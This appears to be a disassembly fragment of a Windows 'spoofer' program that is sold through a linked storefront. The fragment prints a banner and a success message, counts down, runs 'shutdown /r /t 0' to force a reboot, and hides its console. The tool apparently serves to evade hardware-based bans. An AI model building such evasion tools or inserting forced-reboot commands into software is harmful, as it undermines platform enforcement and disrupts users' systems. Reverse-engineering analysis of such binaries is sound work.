call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0xa
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edx, reloc.WS2_32.dll_listen
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____d888b___.d88b.__d8888b._db______d888888b_d8b___db___.d8888._d8888b.__.d88b.___.d88b.__d88888b_d88888b_d8888b.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88_Y8b_.8P__Y8._88___8D_88_________88___888o__88___88__YP_88___8D_.8P__Y8._.8P__Y8._88_____88_____88___8D
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88______88____88_88oooY_88_________88____88V8o_88____8bo.___88oodD_88____88_88____88_88ooo___88ooooo_88oobY
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88__ooo_88____88_88b._88_________88____88_V8o88______Y8b._88___88____88_88____88_88___88_88_8b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88._8__8b__d8_88___8D_88booo.___.88.___88__V888___db___8D_88_______8b__d8__8b__d8_88______88._____88__88.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____Y888P____Y88P__Y8888P_Y88888P_Y888888P_VP___V8P____8888Y_88________Y88P____Y88P__YP______Y88888P_88___YD
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str._________________________________________https:__goblinsp00fer.sellpass.io_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov edx, 1
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, str.echo_Your_pc_has_been_successfully_spoofed_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, r14d
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.Restarting_your_PC...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011430
lea rdx, [0x140001aa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x328], xmm0
mov qword [rbp + 0x338], r13
mov qword [rbp + 0x340], r13
mov r8d, Ordinal_50
lea rdx, str._________Restarting_the_pc_within_5_seconds...
lea rcx, [rbp + 0x328]
call fcn.140001ae0
nop
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x328]
cmp qword [rbp + 0x340], 0x10
setae byte [rsp + 0x64]
mov r12, qword [rbp + 0x328]
jb 0x14000cccd
mov rdx, r12
mov rcx, r12
mov rbx, r12
jmp 0x14000ccd7
mov rbx, rcx
lea rdx, [rbp + 0x328]
mov rdi, qword [rbp + 0x338]
add rdi, rdx
cmp rcx, rdi
je 0x14000cd21
mov qword [rsp + 0x68], 0xa
nop
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x68]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x14000ccf0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp + 0x308], xmm0
mov qword [rbp + 0x318], r13
mov qword [rbp + 0x320], r13
mov r8d, Ordinal_50
lea rdx, str._________Restarting_the_pc_within_4_seconds...
lea rcx, [rbp + 0x308]
call fcn.140001ae0
nop
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x308]
cmp qword [rbp + 0x320], 0x10
setae byte [rsp + 0x63]
mov r15, qword [rbp + 0x308]
jb 0x14000cda9
mov rdx, r15
mov rcx, r15
mov rbx, r15
jmp 0x14000cdb3
mov rbx, rcx
lea rdx, [rbp + 0x308]
mov rdi, qword [rbp + 0x318]
add rdi, rdx
cmp rcx, rdi
je 0x14000ce01
mov qword [rsp + 0x68], 0xa
nop dword [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x68]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x14000cdd0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e8], xmm0
mov qword [rbp + 0x2f8], r13
mov qword [rbp + 0x300], r13
mov r8d, Ordinal_50
lea rdx, str._________Restarting_the_pc_within_3_seconds...
lea rcx, [rbp + 0x2e8]
call fcn.140001ae0
nop
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x2e8]
cmp qword [rbp + 0x300], 0x10
setae byte [rsp + 0x62]
mov r14, qword [rbp + 0x2e8]
jb 0x14000ce89
mov rdx, r14
mov rcx, r14
mov rbx, r14
jmp 0x14000ce93
mov rbx, rcx
lea rdx, [rbp + 0x2e8]
mov rdi, qword [rbp + 0x2f8]
add rdi, rdx
cmp rcx, rdi
je 0x14000cee1
mov qword [rsp + 0x68], 0xa
nop dword [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x68]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x14000ceb0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c8], xmm0
mov qword [rbp + 0x2d8], r13
mov qword [rbp + 0x2e0], r13
mov r8d, Ordinal_50
lea rdx, str._________Restarting_the_pc_within_2_seconds...
lea rcx, [rbp + 0x2c8]
call fcn.140001ae0
nop
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x2c8]
cmp qword [rbp + 0x2e0], 0x10
setae byte [rsp + 0x61]
mov rsi, qword [rbp + 0x2c8]
jb 0x14000cf69
mov rdx, rsi
mov rcx, rsi
mov rbx, rsi
jmp 0x14000cf73
mov rbx, rcx
lea rdx, [rbp + 0x2c8]
mov rdi, qword [rbp + 0x2d8]
add rdi, rdx
cmp rcx, rdi
je 0x14000cfc1
mov qword [rsp + 0x68], 0xa
nop dword [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x68]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x14000cf90
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a8], xmm0
mov qword [rbp + 0x2b8], r13
mov qword [rbp + 0x2c0], r13
mov r8d, Ordinal_50
lea rdx, str._________Restarting_the_pc_within_1_seconds...
lea rcx, [rbp + 0x2a8]
call fcn.140001ae0
nop
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x2a8]
cmp qword [rbp + 0x2c0], 0x10
setae byte [rsp + 0x60]
mov rdi, qword [rbp + 0x2a8]
jb 0x14000d049
mov rdx, rdi
mov rcx, rdi
mov rbx, rdi
jmp 0x14000d053
mov rbx, rcx
lea rdx, [rbp + 0x2a8]
mov r13, qword [rbp + 0x2b8]
add r13, rdx
cmp rcx, r13
je 0x14000d0a1
mov qword [rsp + 0x68], 0xa
nop dword [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x68]
call fcn.140011840
inc rbx
cmp rbx, r13
jne 0x14000d070
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.shutdown__r__t_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
nop
cmp byte [rsp + 0x60], 0
je 0x14000d118
mov rdx, qword [rbp + 0x2c0]
inc rdx
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000d10f
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d10f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.140074d8c
nop
cmp byte [rsp + 0x61], 0
je 0x14000d15a
mov rdx, qword [rbp + 0x2e0]
inc rdx
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000d151
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d151
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140074d8c
nop
cmp byte [rsp + 0x62], 0
je 0x14000d19c
mov rdx, qword [rbp + 0x300]
inc rdx
mov rax, r14
cmp rdx, 0x1000
jb 0x14000d193
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d193
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.140074d8c
nop
cmp byte [rsp + 0x63], 0
je 0x14000d1de
mov rdx, qword [rbp + 0x320]
inc rdx
mov rax, r15
cmp rdx, 0x1000
jb 0x14000d1d5
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d1d5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.140074d8c
nop
cmp byte [rsp + 0x64], 0
je 0x14000d221
mov rdx, qword [rbp + 0x340]
inc rdx
mov rax, r12
cmp rdx, 0x1000
jb 0x14000d218
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d218
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.140074d8c
nop
mov rdx, qword [rbp + 0x380]
cmp rdx, 0x10
jb 0x14000d265
inc rdx
mov rcx, qword [rbp + 0x368]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d260
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d260
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
xor ebx, ebx
mov qword [rbp + 0x378], rbx
mov qword [rbp + 0x380], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x368], bl
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x14000d2bd
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d2b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d2b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x58], rbx
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x48], 0
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x14000d30e
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d309
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d309
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x80], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0x400]
cmp rdx, 0x10
jb 0x14000d365
inc rdx
mov rcx, qword [rbp + 0x3e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d360
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d360
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x3f8], rbx
mov qword [rbp + 0x400], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3e8], 0
mov rdx, qword [rbp + 0x360]
cmp rdx, 0x10
jb 0x14000d3c2
inc rdx
mov rcx, qword [rbp + 0x348]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d3bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d3bd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x358], rbx
mov qword [rbp + 0x360], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x348], 0
mov r13, qword [rbp + 0x148]
movzx r12d, byte [rsp + 0x30]
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x14000d42c
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d427
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d427
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0xd8], rbx
mov qword [rbp + 0xe0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xc8], 0
mov rdx, qword [rbp + 0x100]
cmp rdx, 0x10
jb 0x14000d489
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d484
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d484
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0xf8], rbx
mov qword [rbp + 0x100], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xe8], 0
mov rdx, qword [rbp + 0x120]
cmp rdx, 0x10
jb 0x14000d4e6
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d4e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d4e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x118], rbx
mov qword [rbp + 0x120], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x108], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0x10
jb 0x14000d543
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d53e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d53e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0xb8], rbx
mov qword [rbp + 0xc0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa8], 0
mov rdx, qword [rbp + 0x140]
cmp rdx, 0x10
jb 0x14000d5a0
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d59b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d59b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x138], rbx
mov qword [rbp + 0x140], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x128], 0
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 0x10
jb 0x14000d5fd
inc rdx
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d5f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d5f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
